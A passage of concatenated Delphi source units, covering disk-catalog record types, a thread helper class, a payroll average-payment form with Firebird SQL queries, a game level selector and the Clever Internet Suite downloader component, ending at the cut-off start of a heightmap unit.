TCallBackProc = procedure (var Stop: boolean);
TIsTheLastCPB = function (FName: ShortString): boolean;
THowToContinue = function (FName: ShortString): word;
TNewLineToIndicator = procedure (Line: ShortString);
TAppendLineToIndicator = procedure (Line: ShortString);
TUpdateProgressIndicator = procedure (Phase, Progress: Integer);
TAbortScan = function: boolean;
TErrorMsg = procedure (ErrorNo: Integer; ErrorStr: ShortString);
PKeyRecord = ^TKeyRecord;
TKeyRecord = record
Attr : Word; // kaDeleted, kaSelected
Position: TFilePointer;
end;
const
treeInfoHeadSize = 21*4 + 32;
SizeOfTreeInfoVer0 = 21*4 + 32 + 256;
SizeOfTreeInfoVer1 = 21*4 + 32 + 4*256 + 5*8; // added 3 strings and 5 comps
// offset to Name - is used only when directly reading the name
type
TTreeInfo = record // when this changes, the treeInfoHeadSize must be adjusted!
TreeAttr : longint; // only for kaDeleted at the moment
ScanDate : longint;
Dirs : longint;
Files : longint;
Archives : longint;
ArcDirs : longint;
ArcFiles : longint;
PhysSizeKb : longint; // not used nepouzivano from 5.08
ArchSizeKb : longint; // not used nepouzivano from 5.08
DataSizeKb : longint; // not used nepouzivano from 5.08
DiskSizeKb : longword; {kB}
DiskFreeKb : longword; {kB}
SectorsPerCluster : longword; // info from WIN32
BytesPerSector : longword;
NumberOfFreeClusters : longword; // not used yet
TotalNumberOfClusters : longword; // not used yet
FileSystemName : string[31]; // used to align
FileSystemFlags : longword; // not used yet
Reserved1 : longint;
Reserved2 : longint;
OrigDrive : array[1..4] of char; // used for offer when copying
Reserved3 : longint;
Name : ShortString;
VolumeLabel : ShortString; // new from 5.08
OriginPath : ShortString;
ReservedStr : ShortString;
PhysSizeBytes: comp; // replaces original PhysSizeKb
ArchSizeBytes: comp; // replaces original ArchSizeKb
DataSizeBytes: comp; // replaces original DataSizeKb
Reserved4 : comp;
Reserved5 : comp;
end;
//--- TOneDir -------------------------------------------------------
const
oneDirHeadSizeVer0 = 23;
oneDirHeadSize = 23+16; // added 2 longints and 1 comp
type
TExt = string[4];
TPOneDir = ^TOneDir;
TOneDir = record
SelfDirPos : TFilePointer; // shows the offset of this record, is not saved
Description : TFilePointer;
Time : longint;
Size : longint; // for archives, which behave like folders
Attr : word;
Ext : TExt;
FileList : TFilePointer;
// added in 5.08
FilesCount : longint; // files in this folder
FilesTotalSize: comp; // total size of files in this folder
Reserved1 : longint;
LongName : ShortString;
end;
TSubTotals = record // part of the tree node, but it is not saved
DataDirs : longint;
DataFiles : longint;
DataFileSize : comp; // comp is 8-byte longint
PhysDirs : longint;
PhysFiles : longint;
PhysFileSize : comp;
end;
procedure GetMemOneDir (var POneDir: TPOneDir; var OneDir: TOneDir);
procedure FreeMemOneDir(var POneDir: TPOneDir);
procedure MoveOneDir(var Source, Target: TOneDir);
//--- TOneFile -------------------------------------------------------
const
oneFileHeadSize = 19;
type
TPOneFile = ^TOneFile;
TOneFile = record // waring: do not change order of the items, because of reading
SubDirCol : pointer; // not stored
SelfFilePos : TFilePointer; // points to the beginning of this list, not stored
Description : TFilePointer;
Time : Longint;
Size : Longint;
Attr : word;
Ext : TExt;
LongName : ShortString; // allocates only necessary space
end;
procedure GetMemOneFile (var POneFile: TPOneFile; var OneFile: TOneFile);
procedure FreeMemOneFile(var POneFile: TPOneFile);
procedure MoveOneFile(var Source, Target: TOneFile);
//--------------------------------------------------------------------
{$ifdef linux}
type
TModuleHandle = Pointer;
const
INVALID_MODULEHANDLE_VALUE = TModuleHandle(0);
{$endif}
type
TFileType = (ftFile, ftDir, ftParent, ftArc); // do not change the roder, because of case
TRWMode = (rwWhole, rwHead);
// rwHead - reads the whole header, but for the compatibility with
// older formats is written only till the Name - for deleting
// and renaming it is enough
TSort = (soName, soExt, soTime, soSize, soKey, soDir);
TSortArr = array[1..3] of TSort;
TFFData = record // datat for file search
Mask : ShortString;
WSort1 : word;
WSort2 : word;
WSort3 : word;
WListType : word;
end;
TSearchIn = (siWholeDbase, siActualDisk, siSelectedDisks, siNotSelectedDisks, siActualDiskDir);
TSearchDlgData = record
Mask : ShortString;
AddWildCards : boolean;
AsPhrase : boolean;
MaxLines : longint;
CaseSensitive: boolean;
StrictMask : boolean;
SearchIn : TSearchIn;
ScanDiskNames: boolean;
ScanFileNames: boolean;
ScanDirNames : boolean;
ScanDesc : boolean;
ScanDirLevel : integer; // -1 unlimited, 0 root, 1 - 1. subfolder, etc.
UseMoreOptions: boolean;
MoreOptions : boolean; // for faster search
ExcludeMask : ShortString;
DateFrom : longint;
DateTo : longint;
SizeFrom : longint;
SizeTo : longint;
DirMask : ShortString;
SortArr : TSortArr;
SearchAsAnsi : boolean;
SearchAsOem : boolean;
end;
TScan = (cfScan, cfAsk, cfNoScan); // do not change order
TAllMasksArray = array[0..2048] of char;
PLocalOptions = ^TLocalOptions;
TLocalOptions = record // when changing, preserve size of this record
ScanArchives : TScan;
ScanCPB : TScan;
ShowDeleted : boolean;
ScanDesc : boolean;
OverwriteWarning : boolean;
AllMasksArray : TAllMasksArray;
SimulateDiskInfo : boolean;
ScanZipExeArchives : boolean;
ScanOtherExeArchives : boolean;
AlwaysRescanArchives : boolean;
ExtractFromZips : boolean;
DisableVolNameChange : boolean; // added in 5.11
GenerateFolderDesc : boolean;
ImportFilesBbs : boolean;
DiskCounter : word;
DiskNamePattern : String[100]; // long 101 chars
AlwaysCreateDesc : boolean;
ExtractFromRars : boolean;
ExtractFromAces : boolean;
ExtractSizeLimit : longint;
Reserved : array[0..138] of char;
end;
TOpenTransferFunc =
function (FileName: PChar; var Handle: longint): longint;
TGetOneBlockFunc =
function (Handle: longint; Buf: PChar; BufSize: longint;
var CharsRead: longint): longint;
TCloseTransferFunc =
function (Handle: longint): longint;
PDll = ^TDll;
TDll = object(TQObject)
DllName : ShortString;
DllHandle : THandle;
OpenTransfer : TOpenTransferFunc;
GetOneBlock : TGetOneBlockFunc;
CloseTransfer : TCloseTransferFunc;
constructor Init(Name: ShortString);
end;
{$ifdef DELPHI1}
TExtractFileFunc =
function (szArchiveFileName: PChar;
szFileToExtract: PChar;
szTargetFileName: PChar;
iMaxSizeToExtract: longint;
iArchiveOffset: longint): longint;
{$else}
TExtractFileFunc =
function (szArchiveFileName: PChar;
szFileToExtract: PChar;
szTargetFileName: PChar;
iMaxSizeToExtract: longint;
iArchiveOffset: longint): longint; stdcall;
{$endif}
PExtractDll = ^TExtractDll;
TExtractDll = object(TQObject)
DllName : ShortString;
ArchiveType : TArchiveType;
DllHandle : THandle;
ExtractFile : TExtractFileFunc;
bStatic : boolean;
iSizeLimit : longint;
constructor Init(Name: ShortString; aArchiveType: TArchiveType; Static: boolean;
ExtractSizeLimitMb: longint);
end;
POneMask = ^TOneMask;
TOneMask = object(TQObject)
MaskName: TPQString;
MaxSize : longint;
ConvDll : PDll;
destructor Done; virtual;
end;
TDBaseInfo = record
DBaseSize : longint;
Count : longint;
CountValid : longint;
ReadOnly : boolean;
iSelectedDisks : integer;
iNotSelectedDisks: integer;
end;
// used in export
TSendType = (stNothing, stDataCallback, stDataNotify); // what to send from IterateFiles
// DataCallBack - old version, used for print
// DataNotify - new version, used for export
TDatabaseData = record
sDatabaseName : AnsiString;
sDatabasePath : AnsiString;
iNumberOfDisks: longint;
end;
TDiskData = record
sDiskName : AnsiString;
iDiskSizeKb : longint;
iDiskFreeKb : longint;
iFolders : longint;
iFiles : longint;
iArchives : longint;
iTotalFilesInArchives : longint;
iTotalFoldersInArchives: longint;
TotalDataSize : comp;
PhysSize : comp;
ArchSize : comp;
sOriginalPath : AnsiString;
sVolumelabel : AnsiString;
iScanDate : longint;
end;
TFolderData = record
sPathToFolder : AnsiString;
sFolderName : AnsiString;
FolderDataSize : comp;
iFilesInFolder : longint;
iFoldersInFolder : longint;
PhysFolderDataSize : comp;
iPhysFilesInFolder : longint;
iPhysFoldersInFolder: longint;
end;
TFileData = record
OneFile : TOneFile;
end;
TFormatSettings = record
SortCrit : TSortCrit;
bShowInKb : boolean;
bShowSeconds : boolean;
bReversedSort : boolean;
end;
var
gDatabaseData : TDatabaseData;
gDiskData : TDiskData;
gFolderData : TFolderData;
gFileData : TFileData;
gFormatSettings: TFormatSettings;
type
{callback}
TSendOneDiskFunct = procedure (Disk: ShortString);
TSendOneDirFunct = procedure (Dir: ShortString);
TSendOneFileFunct = procedure (var OneFile: TOneFile);
TGetNameWidthFunct = procedure (Name: ShortString; var Width: integer);
TNotifyProc = procedure;
procedure FreeListObjects(List: TStringList);
implementation
uses SysUtils;
procedure FreeListObjects(List: TStringList);
var
i: integer;
begin
for i := 0 to List.Count - 1 do
List.Objects[i].Free;
end;
//=== OneDir routines ===============================================
procedure GetMemOneDir (var POneDir: TPOneDir; var OneDir: TOneDir);
begin
GetMem(POneDir, 4 + OneDirHeadSize + 1 + length(OneDir.LongName));
MoveOneDir(OneDir, POneDir^);
end;
//--------------------------------------------------------------------
procedure FreeMemOneDir(var POneDir: TPOneDir);
begin
if POneDir <> nil then
FreeMem(POneDir, 4 + OneDirHeadSize + 1 + length(POneDir^.LongName));
POneDir := nil;
end;
//--------------------------------------------------------------------
procedure MoveOneDir(var Source, Target: TOneDir);
begin
Move(Source, Target, 4 + OneDirHeadSize + 1 + length(Source.LongName));
end;
//=== OneFile routines ===============================================
procedure GetMemOneFile (var POneFile: TPOneFile; var OneFile: TOneFile);
begin
///GetMem(POneFile, 8 + oneFileHeadSize + 1 + length(OneFile.LongName));
GetMem(POneFile, 16 + oneFileHeadSize + 1 + length(OneFile.LongName));
MoveOneFile(OneFile, POneFile^);
end;
//--------------------------------------------------------------------
procedure FreeMemOneFile(var POneFile: TPOneFile);
begin
if POneFile <> nil then
///FreeMem(POneFile, 8 + oneFileHeadSize + 1 + length(POneFile^.LongName));
FreeMem(POneFile, 16 + oneFileHeadSize + 1 + length(POneFile^.LongName));
POneFile := nil;
end;
//--------------------------------------------------------------------
procedure MoveOneFile(var Source, Target: TOneFile);
begin
///Move(Source, Target, 8 + oneFileHeadSize + 1 + length(Source.LongName));
Move(Source, Target, 16 + oneFileHeadSize + 1 + length(Source.LongName));
end;
//--------------------------------------------------------------------
destructor TOneMask.Done;
begin
QDisposeStr(MaskName);
inherited Done;
end;
//--------------------------------------------------------------------
constructor TDll.Init(Name: ShortString);
begin
DllName := Name;
DllHandle := 0;
OpenTransfer := nil;
GetOneBlock := nil;
CloseTransfer := nil;
end;
//--------------------------------------------------------------------
constructor TExtractDll.Init(Name: ShortString; aArchiveType: TArchiveType; Static: boolean;
ExtractSizeLimitMb: longint);
begin
DllName := Name;
ArchiveType := aArchiveType;
DllHandle := 0;
ExtractFile := nil;
bStatic := Static; // if true, the static function is used instead of DLL
iSizeLimit := ExtractSizeLimitMb;
end;
//====================================================================
begin
end.
|
unit uThreadEx;
interface
uses
System.Types,
System.Classes,
System.SyncObjs,
System.SysUtils,
Winapi.Windows,
uMemory,
uDBThread,
uGOM,
{$IFNDEF EXTERNAL}
uRuntime,
{$ENDIF}
uThreadForm;
type
TThreadExNotify = procedure(Sender: TObject; StateID: TGUID) of object;
TThreadEx = class(TDBThread)
private
FThreadForm: TThreadForm;
FState: TGUID;
FMethod: TThreadMethod;
FProcedure: TThreadProcedure;
FSubThreads: TList;
FIsTerminated: Boolean;
FParentThread: TThreadEx;
FSync: TCriticalSection;
FSyncSuccessful: Boolean;
FPriority: TThreadPriority;
function GetIsTerminated: Boolean;
procedure SetTerminated(const Value: Boolean);
procedure TestMethod;
protected
function SynchronizeEx(Method: TThreadMethod): Boolean; override;
function SynchronizeEx(Proc: TThreadProcedure): Boolean; override;
procedure CallMethod;
procedure CallProcedure;
procedure Start;
function IsVirtualTerminate: Boolean; virtual;
procedure WaitForSubThreads;
procedure CheckThreadPriority; virtual;
function CheckThread: Boolean;
function UpdateThreadState(State: TGUID): Boolean;
public
FEvent: THandle;
constructor Create(AOwnerForm: TThreadForm; AState: TGUID);
destructor Destroy; override;
function CheckForm: Boolean; virtual;
procedure RegisterSubThread(SubThread: TThreadEx);
procedure UnRegisterSubThread(SubThread: TThreadEx);
procedure DoTerminateThread;
property ThreadForm: TThreadForm read FThreadForm write FThreadForm;
property StateID: TGUID read FState write FState;
property IsTerminated: Boolean read GetIsTerminated write SetTerminated;
property ParentThread: TThreadEx read FParentThread;
property Terminated;
end;
implementation
{ TFormThread }
procedure TThreadEx.CallMethod;
begin
FSyncSuccessful := CheckForm;
if FSyncSuccessful then
FMethod
else
begin
if IsVirtualTerminate then
FIsTerminated := True
else
Terminate;
end;
end;
procedure TThreadEx.CallProcedure;
begin
FSyncSuccessful := CheckForm;
if FSyncSuccessful then
FProcedure
else
begin
if IsVirtualTerminate then
FIsTerminated := True
else
Terminate;
end;
end;
function TThreadEx.CheckForm: Boolean;
begin
Result := False;
if GOM.IsObj(FThreadForm) and not IsTerminated {$IFNDEF EXTERNAL}and not DBTerminating{$ENDIF} then
begin
if FThreadForm.IsActualState(FState) then
Result := True;
CheckThreadPriority;
end;
end;
function TThreadEx.CheckThread: Boolean;
begin
Result := SynchronizeEx(TestMethod);
end;
procedure TThreadEx.CheckThreadPriority;
var
NewPriority: TThreadPriority;
begin
if FThreadForm.Active then
NewPriority := tpLowest
else
NewPriority := tpIdle;
if FPriority <> NewPriority then
begin
FPriority := NewPriority;
Priority := NewPriority;
end;
end;
constructor TThreadEx.Create(AOwnerForm: TThreadForm; AState: TGUID);
begin
inherited Create(AOwnerForm, False);
FIsTerminated := False;
FSync := TCriticalSection.Create;
FThreadForm := AOwnerForm;
FState := AState;
FSubThreads := TList.Create;
FParentThread := nil;
FPriority := tpNormal;
end;
destructor TThreadEx.Destroy;
begin
Terminate;
WaitForSubThreads;
F(FSubThreads);
F(FSync);
inherited;
end;
procedure TThreadEx.DoTerminateThread;
var
I: Integer;
begin
for I := 0 to FSubThreads.Count - 1 do
TThreadEx(FSubThreads[I]).IsTerminated := True;
IsTerminated := True;
end;
function TThreadEx.GetIsTerminated: Boolean;
begin
if IsVirtualTerminate then
Result := FIsTerminated
else
Result := Terminated;
end;
function TThreadEx.IsVirtualTerminate: Boolean;
begin
Result := False;
end;
procedure TThreadEx.RegisterSubThread(SubThread: TThreadEx);
begin
FSync.Enter;
try
if SubThread = Self then
raise Exception.Create('SubThread and Self are equal');
SubThread.FParentThread := Self;
if FSubThreads.IndexOf(SubThread) = -1 then
FSubThreads.Add(SubThread);
finally
FSync.Leave;
end;
end;
procedure TThreadEx.SetTerminated(const Value: Boolean);
begin
if IsVirtualTerminate then
FIsTerminated := Value
else if Value then
Terminate;
end;
procedure TThreadEx.Start;
begin
if GOM.IsObj(FThreadForm) then
FThreadForm.RegisterThreadAndStart(Self)
end;
function TThreadEx.SynchronizeEx(Proc: TThreadProcedure): Boolean;
begin
Result := False;
if not IsTerminated then
begin
FProcedure := Proc;
Synchronize(CallProcedure);
Result := FSyncSuccessful;
end;
end;
function TThreadEx.SynchronizeEx(Method: TThreadMethod): Boolean;
begin
Result := False;
if not IsTerminated then
begin
FMethod := Method;
Synchronize(CallMethod);
Result := FSyncSuccessful;
end;
end;
procedure TThreadEx.TestMethod;
begin
//do nothing
end;
procedure TThreadEx.UnRegisterSubThread(SubThread: TThreadEx);
begin
FSync.Enter;
try
SubThread.FParentThread := nil;
FSubThreads.Remove(SubThread);
finally
FSync.Leave;
end;
end;
function TThreadEx.UpdateThreadState(State: TGUID): Boolean;
begin
Result := FState <> State;
FState := State;
end;
procedure TThreadEx.WaitForSubThreads;
const
MAX = 64;
var
I: Integer;
Count: Integer;
ThreadHandles: array [0 .. MAX - 1] of THandle;
begin
while True do
begin
FSync.Enter;
try
for I := FSubThreads.Count - 1 downto 0 do
if not GOM.IsObj(FSubThreads[I]) then
FSubThreads.Delete(I);
Count := FSubThreads.Count;
for I := 0 to Count - 1 do
ThreadHandles[I] := TThreadEx(FSubThreads[I]).FEvent;
finally
FSync.Leave;
end;
if Count > 0 then
WaitForMultipleObjects(Count, @ThreadHandles[0], True, 1000)
else
Break;
end;
end;
end.
|
unit AvgPayment_MainForm;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, cxStyles, cxCustomData, cxGraphics, cxFilter, cxData,
cxDataStorage, cxEdit, DB, cxDBData, cxGridLevel, cxClasses, cxControls,
cxGridCustomView, cxGridCustomTableView, cxGridTableView,
cxGridDBTableView, cxGrid, StdCtrls, ExtCtrls, FIBDataSet, pFIBDataSet,
FIBDatabase, pFIBDatabase, IBase, z_dmCommonStyles, cxSplitter,
cxTextEdit, Unit_ZGlobal_Consts;
type
TfmAvgPayment = class(TForm)
ResultPanel: TPanel;
HospDataGroupBox: TGroupBox;
DaysLabel: TLabel;
HoursLabel: TLabel;
AvgPaymentLabel: TLabel;
DaysCaption: TLabel;
HoursCaption: TLabel;
AvgPaymentCaption: TLabel;
IsSmenaLabel: TLabel;
Grid1DBTableView1: TcxGridDBTableView;
Grid1Level1: TcxGridLevel;
Grid1: TcxGrid;
cmnKOD_SETUP: TcxGridDBColumn;
cmnDAYS: TcxGridDBColumn;
cmnHOURS: TcxGridDBColumn;
cmnSUMMA: TcxGridDBColumn;
DB: TpFIBDatabase;
ReadTransaction: TpFIBTransaction;
DSet1: TpFIBDataSet;
DSet2: TpFIBDataSet;
DSet3: TpFIBDataSet;
DSet4: TpFIBDataSet;
DSource1: TDataSource;
DSource2: TDataSource;
DSource3: TDataSource;
DSource4: TDataSource;
cmnID_MAN: TcxGridDBColumn;
MainPanel: TPanel;
DetailPanel: TPanel;
cxSplitter1: TcxSplitter;
DetailGridDBTableView1: TcxGridDBTableView;
DetailGridLevel1: TcxGridLevel;
DetailGrid: TcxGrid;
cmnID_VIDOPL: TcxGridDBColumn;
cmnKOD_VIDOPL: TcxGridDBColumn;
cmnNAME_VIDOPL: TcxGridDBColumn;
cmnSUMMAdetail: TcxGridDBColumn;
cmnSUMMA_HOSP: TcxGridDBColumn;
procedure cmnKOD_SETUPGetDisplayText(Sender: TcxCustomGridTableItem;
ARecord: TcxCustomGridRecord; var AText: String);
procedure cxSplitter1BeforeOpen(Sender: TObject;
var AllowOpen: Boolean);
procedure cxSplitter1AfterClose(Sender: TObject);
private
{ Private declarations }
pLanguageIndex:Byte;
pStylesDM:TStylesDM;
public
{ Public declarations }
constructor Create(AOwner:TComponent;ADB_Handle:TISC_DB_HANDLE;ID_HOSP:Integer); reintroduce;
end;
implementation
uses ZProc, Dates;
{$R *.dfm}
constructor TfmAvgPayment.Create(AOwner:TComponent;ADB_Handle:TISC_DB_HANDLE;ID_HOSP:Integer);
begin
inherited Create(AOwner);
pLanguageIndex:=LanguageIndex;
//******************************************************************************
DB.Handle:=ADB_Handle;
ReadTransaction.Active:=True;
//******************************************************************************
cmnKOD_VIDOPL.Caption := GridClKodVidOpl_Caption[pLanguageIndex];
cmnNAME_VIDOPL.Caption := GridClNameVidopl_Caption[pLanguageIndex];
cmnSUMMAdetail.Caption := GridClSumma_Caption[pLanguageIndex];
//******************************************************************************
cmnKOD_SETUP.Caption := GridClKodSetup_Caption[pLanguageIndex];
cmnDAYS.Caption := GridClNday_Caption[pLanguageIndex];
cmnHOURS.Caption := GridClClock_Caption[pLanguageIndex];
cmnSUMMA.Caption := GridClSumma_Caption[pLanguageIndex];
//******************************************************************************
pStylesDM:=TStylesDM.Create(Self);
Grid1DBTableView1.Styles.StyleSheet := pStylesDM.GridTableViewStyleSheetDevExpress;
DetailGridDBTableView1.Styles.StyleSheet := pStylesDM.GridTableViewStyleSheetDevExpress;
//******************************************************************************
cxSplitter1.CloseSplitter;
//******************************************************************************
DSet1.SQLs.SelectSQL.Text:='SELECT * FROM Z_PAYMENT_COUNT_AVG_HOSP('+IntToStr(ID_HOSP)+')';
DSet4.SQLs.SelectSQL.Text:='SELECT * FROM Z_PAYMENT_COUNT_HOSP('+IntToStr(ID_HOSP)+')';
DSet1.Open;
DSet4.Open;
DSet2.SQLs.SelectSQL.Text:='SELECT * FROM Z_GET_HOSP_AVG_DATA('+IntToStr(ID_HOSP)+','+'?HOSP_DATE,?IS_SMENA,?WORK_DATE_BEG)';
DSet3.SQLs.SelectSQL.Text:='SELECT * FROM Z_GET_HOSP_DATA_COUNT(?ID_MAN,?KOD_SETUP,'''
+DateToStr(DSet1['WORK_DATE_BEG'])+''','''
+DSet1['IS_SMENA']+''','''
+DateToStr(DSet1['HOSP_DATE'])+''')';
DSet2.Open;
DSet3.Open;
//******************************************************************************
if DSet1.FieldByName('IS_HANDS').AsString='F' then
begin
DaysLabel.Caption := DSet4['DAYS_FOR_AVG'];
HoursLabel.Caption := DSet4['HOURS_FOR_AVG'];
end
else
begin
DaysLabel.Caption := '---';
HoursLabel.Caption := '---';
end;
AvgPaymentLabel.Caption:=DSet4['SUMMA'];
//******************************************************************************
end;
procedure TfmAvgPayment.cmnKOD_SETUPGetDisplayText(
Sender: TcxCustomGridTableItem; ARecord: TcxCustomGridRecord;
var AText: String);
begin
AText:=KodSetupToPeriod(ARecord.Values[0],4)
end;
procedure TfmAvgPayment.cxSplitter1BeforeOpen(Sender: TObject;
var AllowOpen: Boolean);
begin
if DSet1.FieldByName('IS_HANDS').AsString='F' then
begin
AllowOpen:=True;
Width:=Width+437;
Position:=poMainFormCenter;
end
else
AllowOpen:=False;
end;
procedure TfmAvgPayment.cxSplitter1AfterClose(Sender: TObject);
begin
Width:=Width-437;
Position:=poMainFormCenter;
end;
end.
|
unit ULevelSelector;
interface
uses
w3system, UE, UPlat, UGameText, UPlayer, UAi, KeyCodeToKeyName, UGlobalsNoUserTypes;
type
TSelect = class(TObject)
screenwidth : integer; //The width of the selector
screenheight : integer; //The height of the selector
Doors : array of UE.TE; //An array of the possible level doors
Plats : array of UPlat.TPlat; //Array of platforms so you can walk to doors
Text : array of UGameText.TText; //array of text (instructions)
Ai : array of TAi; //So that the game doesn't get confused as it needs the ai array
maxX : integer; //The maxX (for the player update methods)
maxY : integer; //The maxY (for the player update methods)
constructor create();
function selected(x1, y1, x2, y2 : float) : integer;
end;
const
//This is the amount of doors that spawn on the level selector.
//It is reduced by 1 so it starts at the 0 index properly.
DOORSAMOUNT = 18 - 1;
implementation
constructor TSelect.create();
var
x, y, n, i, ii: integer; //Iteration variables, but x and y are for spawning of doors
iidone : boolean; //iteration purposes
begin
Text[0] := UGameText.TText.create('Use ' + CodeToKeyName(EnterKey) + ' to go through the door.', 'blue', 100, 60);
Text[1] := UGameText.TText.create('Use ' + CodeToKeyName(LeftKey) + ' and ' + CodeToKeyName(RightKey) + ' to move left and right', 'blue', 100, 80);
Text[2] := UGameText.TText.create('or you can use the buttons in the top and bottom left corners', 'blue', 100, 100);
i := 0;
ii := 0;
iidone := False;
x := 65;
maxX := 965;
y := 200 - UE.HEIGHT;
n := 200;
maxY := 200;
while i <= DOORSAMOUNT do //Creates all the needed doors
begin
Doors[i] := UE.TE.create(x, y); //Spawns a new door
if iidone = False then
begin
if n mod 400 = 0 then //Spawns platforms if new line of doors is created on new a line
begin
Plats[ii] := UPlat.TPlat.createF(50, y + UE.HEIGHT,maxX - 50, 10, True);
end
else //Spawns platforms if new line of doors is created on new a line
begin
Plats[ii] := UPlat.TPlat.createF(0,y + UE.HEIGHT,maxX - 50, 10, True);
end;
ii += 1;
iidone := True;
end;
if i + 1 <= 9 then //Displays numbers on doors
begin
Text[i + 3] := UGameText.TText.create(IntToStr(i + 1), 'red',x +
(UE.WIDTH div 2) - 5, y + (UE.HEIGHT div 4));
end
else //Displays numbers on doors
begin
Text[i + 3] := UGameText.TText.create(IntToStr(i + 1), 'red', x +
(UE.WIDTH div 2) - 9, y + (UE.HEIGHT div 4));
end;
i += 1;
if (n mod 400 = 0) and (n <> 200) then //Moves the x co-ord
begin //if the platform is in an even row
x -= 100; //Make the X of the door go left
if x <= 49 then //If no more doors will be spawned after this one
begin
y += 200; //Increase it to the next row
maxY += 200; //Increase the maxY for player purposes
n += 200; //Increase it to the next row
iidone := False;
end;
end
else //Moves the x co-ord if the platform is a odd row
begin
x += 100; //Make the X of the door go right
if x >= maxX then //If the door is over the maxX it wants to go down and left
begin
x -= 100; //Put the X of the door back on screen
y += 200; //Increase it to the next row
maxY += 200; //Increase the maxY for player purposes
n += 200; //Increase it to the next row
iidone := False;
end;
end;
end;
maxY += 100;
Ai[0] := TAi.start();
Ai[0].Dead := True;
end;
function TSelect.selected(x1, y1, x2, y2 : float) : integer; //x2 = right hand side, x1 = left hand side
//y2 = bottom, y1 = top
var
i : integer;
begin
while i <= High(Doors) do //Iterates through the Doors
begin
if (y1 + y2 = Doors[i].y + UE.HEIGHT) then //Checks if the bottoms are equal
begin
//Checks x overlap so if the door is selected properly
if (x1 <= Doors[i].X + UE.WIDTH) and (x2 >= Doors[i].x) then
begin
Exit(i + 1); //Says the level that was selected, so the door + 1
//(as the door starts at 0, the levels start at 1)
end;
end;
i += 1; //Adds one to i so that it selects the next door
end;
Exit(0); //No level was picked
end;
end. |
{
Clever Internet Suite Version 6.2
Copyright (C) 1999 - 2006 Clever Components
www.CleverComponents.com
}
unit clDownLoader;
interface
{$I clVer.inc}
uses
Classes, clDCUtils, clUtils, clSingleDC, clMultiDC, clMultiDownLoader;
type
TclOnSingleDataTextProceed = procedure (Sender: TObject; Text: TStrings) of object;
TclCustomDownLoaderControl = class;
TclSingleDownLoadItem = class(TclDownLoadItem)
private
function GetDownLoader: TclCustomDownLoaderControl;
protected
procedure DoDataTextProceed(Text: TStrings); override;
function GetCorrectResourceTime: Boolean; override;
function GetPreviewCharCount: Integer; override;
function GetLocalFolder: string; override;
function GetControl: TclCustomInternetControl; override;
end;
TclCustomDownLoaderControl = class(TclSingleInternetControl)
private
FLocalFolder: string;
FOnDataTextProceed: TclOnSingleDataTextProceed;
FCorrectResourceTime: Boolean;
FPreviewCharCount: Integer;
procedure SetLocalFolder(const Value: string);
function GetPreview: TStrings;
procedure SetPreviewCharCount(const Value: Integer);
function GetDownloadItem(): TclSingleDownLoadItem;
function GetAllowCompression: Boolean;
procedure SetAllowCompression(const Value: Boolean);
protected
function GetInternetItemClass(): TclInternetItemClass; override;
procedure DoDataTextProceed(Text: TStrings); dynamic;
property LocalFolder: string read FLocalFolder write SetLocalFolder;
property PreviewCharCount: Integer read FPreviewCharCount write SetPreviewCharCount default cPreviewCharCount;
property CorrectResourceTime: Boolean read FCorrectResourceTime write FCorrectResourceTime default True;
property AllowCompression: Boolean read GetAllowCompression write SetAllowCompression default True;
property OnDataTextProceed: TclOnSingleDataTextProceed read FOnDataTextProceed write FOnDataTextProceed;
public
constructor Create(AOwner: TComponent); override;
property Preview: TStrings read GetPreview;
end;
TclDownLoader = class(TclCustomDownLoaderControl)
published
property Connection;
property ThreadCount default cDefaultThreadCount;
property KeepConnection;
property URL;
property LocalFile;
property UserName;
property Password;
property Port;
property Priority;
property CertificateFlags;
property UseInternetErrorDialog;
property LocalFolder;
property TryCount;
property TimeOut;
property ReconnectAfter;
property BatchSize;
property PreviewCharCount;
property DefaultChar;
property CorrectResourceTime;
property MinResourceSize;
property MaxResourceSize;
property HttpProxySettings;
property FtpProxySettings;
property ProxyBypass;
property InternetAgent;
property PassiveFTPMode;
property AllowCompression;
property UseHttpRequest;
property HttpRequest;
property DoNotGetResourceInfo;
property OnGetResourceInfo;
property OnStatusChanged;
property OnDataItemProceed;
property OnDataTextProceed;
property OnError;
property OnUrlParsing;
property OnChanged;
property OnIsBusyChanged;
property OnGetCertificate;
property OnProcessCompleted;
end;
implementation
{ TclCustomDownLoaderControl }
constructor TclCustomDownLoaderControl.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
FPreviewCharCount := cPreviewCharCount;
FCorrectResourceTime := True;
end;
procedure TclCustomDownLoaderControl.DoDataTextProceed(Text: TStrings);
begin
if Assigned(FOnDataTextProceed) then
begin
FOnDataTextProceed(Self, Text);
end;
end;
function TclCustomDownLoaderControl.GetAllowCompression: Boolean;
begin
Result := GetDownloadItem().AllowCompression;
end;
function TclCustomDownLoaderControl.GetDownloadItem(): TclSingleDownLoadItem;
begin
Result := (GetInternetItem() as TclSingleDownLoadItem);
end;
function TclCustomDownLoaderControl.GetInternetItemClass(): TclInternetItemClass;
begin
Result := TclSingleDownLoadItem;
end;
function TclCustomDownLoaderControl.GetPreview(): TStrings;
begin
Result := GetDownloadItem().Preview;
end;
procedure TclCustomDownLoaderControl.SetAllowCompression(const Value: Boolean);
begin
GetDownloadItem().AllowCompression := Value;
end;
procedure TclCustomDownLoaderControl.SetLocalFolder(const Value: string);
begin
if (FLocalFolder = Value) then Exit;
FLocalFolder := Value;
if (csLoading in ComponentState) then Exit;
LocalFile := GetFullFileName(LocalFile, FLocalFolder);
Changed(GetInternetItem());
end;
procedure TclCustomDownLoaderControl.SetPreviewCharCount(const Value: Integer);
begin
if (FPreviewCharCount <> Value) and (Value > - 1) then
begin
FPreviewCharCount := Value;
end;
end;
{ TclSingleDownLoadItem }
procedure TclSingleDownLoadItem.DoDataTextProceed(Text: TStrings);
begin
GetDownLoader().DoDataTextProceed(Text);
end;
type
TCollectionAccess = class(TCollection);
function TclSingleDownLoadItem.GetControl: TclCustomInternetControl;
begin
Result := (TCollectionAccess(Collection).GetOwner() as TclCustomInternetControl);
end;
function TclSingleDownLoadItem.GetCorrectResourceTime: Boolean;
begin
Result := GetDownLoader().CorrectResourceTime;
end;
function TclSingleDownLoadItem.GetDownLoader: TclCustomDownLoaderControl;
begin
Result := (Control as TclCustomDownLoaderControl);
end;
function TclSingleDownLoadItem.GetLocalFolder: string;
begin
Result := GetDownloader().LocalFolder;
end;
function TclSingleDownLoadItem.GetPreviewCharCount: Integer;
begin
Result := GetDownloader().PreviewCharCount;
end;
end.
|
unit uHeightmapClasses;
//Mattias Landscaper...
interface
uses
Winapi.Windows,
